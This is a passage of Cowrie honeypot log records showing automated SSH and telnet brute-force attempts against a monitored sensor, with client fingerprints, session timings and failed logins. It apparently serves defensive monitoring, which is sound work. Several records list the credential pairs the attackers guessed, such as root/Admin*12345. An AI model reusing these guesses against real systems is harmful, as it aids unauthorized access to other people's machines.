"ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:32.833410Z","src_ip":"209.227.244.120","session":"8015626243b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emploi","password":"123456","message":"login attempt [emploi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:33.241916Z","src_ip":"209.227.244.120","session":"8015626243b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.11560249328613,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:34.278320Z","src_ip":"172.81.62.90","session":"d5e58ff9249d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:34.331985Z","src_ip":"209.227.244.120","session":"8015626243b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.42406105995178,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:39.823210Z","src_ip":"172.81.62.90","session":"541e2f39e468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47406,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ac8c47e5c80","protocol":"ssh","message":"New connection: 27.71.230.31:47406 (10.17.0.5:22) [session: 1ac8c47e5c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:44.605798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:44.636698Z","src_ip":"27.71.230.31","session":"1ac8c47e5c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:45.866959Z","src_ip":"27.71.230.31","session":"1ac8c47e5c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin*12345","message":"login attempt [root/Admin*12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:47.668957Z","src_ip":"27.71.230.31","session":"1ac8c47e5c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.042364Z","src_ip":"27.71.230.31","session":"1ac8c47e5c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37592,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bbb00f43b3f","protocol":"ssh","message":"New connection: 80.66.85.226:37592 (159.203.135.109:22) [session: 8bbb00f43b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.622055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.627108Z","src_ip":"80.66.85.226","session":"8bbb00f43b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":48320,"dst_ip":"10.17.0.5","dst_port":22,"session":"6191e426b765","protocol":"ssh","message":"New connection: 87.251.79.125:48320 (10.17.0.5:22) [session: 6191e426b765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.704312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.708117Z","src_ip":"87.251.79.125","session":"6191e426b765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.715742Z","src_ip":"80.66.85.226","session":"8bbb00f43b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.778684Z","src_ip":"87.251.79.125","session":"6191e426b765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s1s2s3s4s5","message":"login attempt [root/s1s2s3s4s5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.982880Z","src_ip":"80.66.85.226","session":"8bbb00f43b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felix1","message":"login attempt [root/felix1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:49.992272Z","src_ip":"87.251.79.125","session":"6191e426b765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:51.063879Z","src_ip":"87.251.79.125","session":"6191e426b765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:51.073666Z","src_ip":"80.66.85.226","session":"8bbb00f43b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.51271653175354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:58.208541Z","src_ip":"172.81.62.90","session":"1143e5e7f8f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.04728388786316,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:07.158034Z","src_ip":"128.199.8.54","session":"747cea1295c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.048901319503784,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:13.631331Z","src_ip":"128.199.8.54","session":"78cf2b1c31d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.26238226890564,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:16.680413Z","src_ip":"94.23.66.112","session":"2b7520604a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50078,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f1d08da2782","protocol":"telnet","message":"New connection: 128.199.8.54:50078 (159.203.135.109:23) [session: 2f1d08da2782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:18.131366Z"}
{"eventid":"cowrie.session.closed","duration":60.01471924781799,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:22.652837Z","src_ip":"94.23.66.112","session":"e31f79836d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":42658,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c38c2360e27","protocol":"ssh","message":"New connection: 34.100.248.63:42658 (10.17.0.5:22) [session: 5c38c2360e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:27.826332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:27.831348Z","src_ip":"34.100.248.63","session":"5c38c2360e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:28.056389Z","src_ip":"34.100.248.63","session":"5c38c2360e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boletin","password":"boletin123","message":"login attempt [boletin/boletin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:29.043619Z","src_ip":"34.100.248.63","session":"5c38c2360e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":43378,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8a7c9bcb6a","protocol":"ssh","message":"New connection: 182.93.50.90:43378 (10.17.0.5:22) [session: 2b8a7c9bcb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:29.550838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:29.555433Z","src_ip":"182.93.50.90","session":"2b8a7c9bcb6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:29.770806Z","src_ip":"182.93.50.90","session":"2b8a7c9bcb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:30.294219Z","src_ip":"34.100.248.63","session":"5c38c2360e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456Xx","message":"login attempt [admin/123456Xx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:30.688957Z","src_ip":"182.93.50.90","session":"2b8a7c9bcb6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:57:31.905630Z","src_ip":"182.93.50.90","session":"2b8a7c9bcb6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52870,"dst_ip":"159.203.135.109","dst_port":22,"session":"0afc45411f50","protocol":"ssh","message":"New connection: 27.71.230.31:52870 (159.203.135.109:22) [session: 0afc45411f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:05.305993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:05.353851Z","src_ip":"27.71.230.31","session":"0afc45411f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":40896,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f348fbca16","protocol":"ssh","message":"New connection: 209.227.244.120:40896 (159.203.135.109:22) [session: 89f348fbca16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:05.970039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:05.974501Z","src_ip":"209.227.244.120","session":"89f348fbca16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:06.065253Z","src_ip":"209.227.244.120","session":"89f348fbca16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"australia","password":"australia","message":"login attempt [australia/australia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:06.463230Z","src_ip":"209.227.244.120","session":"89f348fbca16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:07.556994Z","src_ip":"209.227.244.120","session":"89f348fbca16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:07.951522Z","src_ip":"27.71.230.31","session":"0afc45411f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.63269066810608,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:08.763663Z","src_ip":"128.199.8.54","session":"2f1d08da2782","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin*12345","message":"login attempt [root/Admin*12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:10.710724Z","src_ip":"27.71.230.31","session":"0afc45411f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:12.010709Z","src_ip":"27.71.230.31","session":"0afc45411f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58170,"dst_ip":"159.203.135.109","dst_port":22,"session":"3677cb301e34","protocol":"ssh","message":"New connection: 91.92.40.4:58170 (159.203.135.109:22) [session: 3677cb301e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:18.351543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:58:18.458254Z","src_ip":"91.92.40.4","session":"3677cb301e34","protocol":"ssh"}
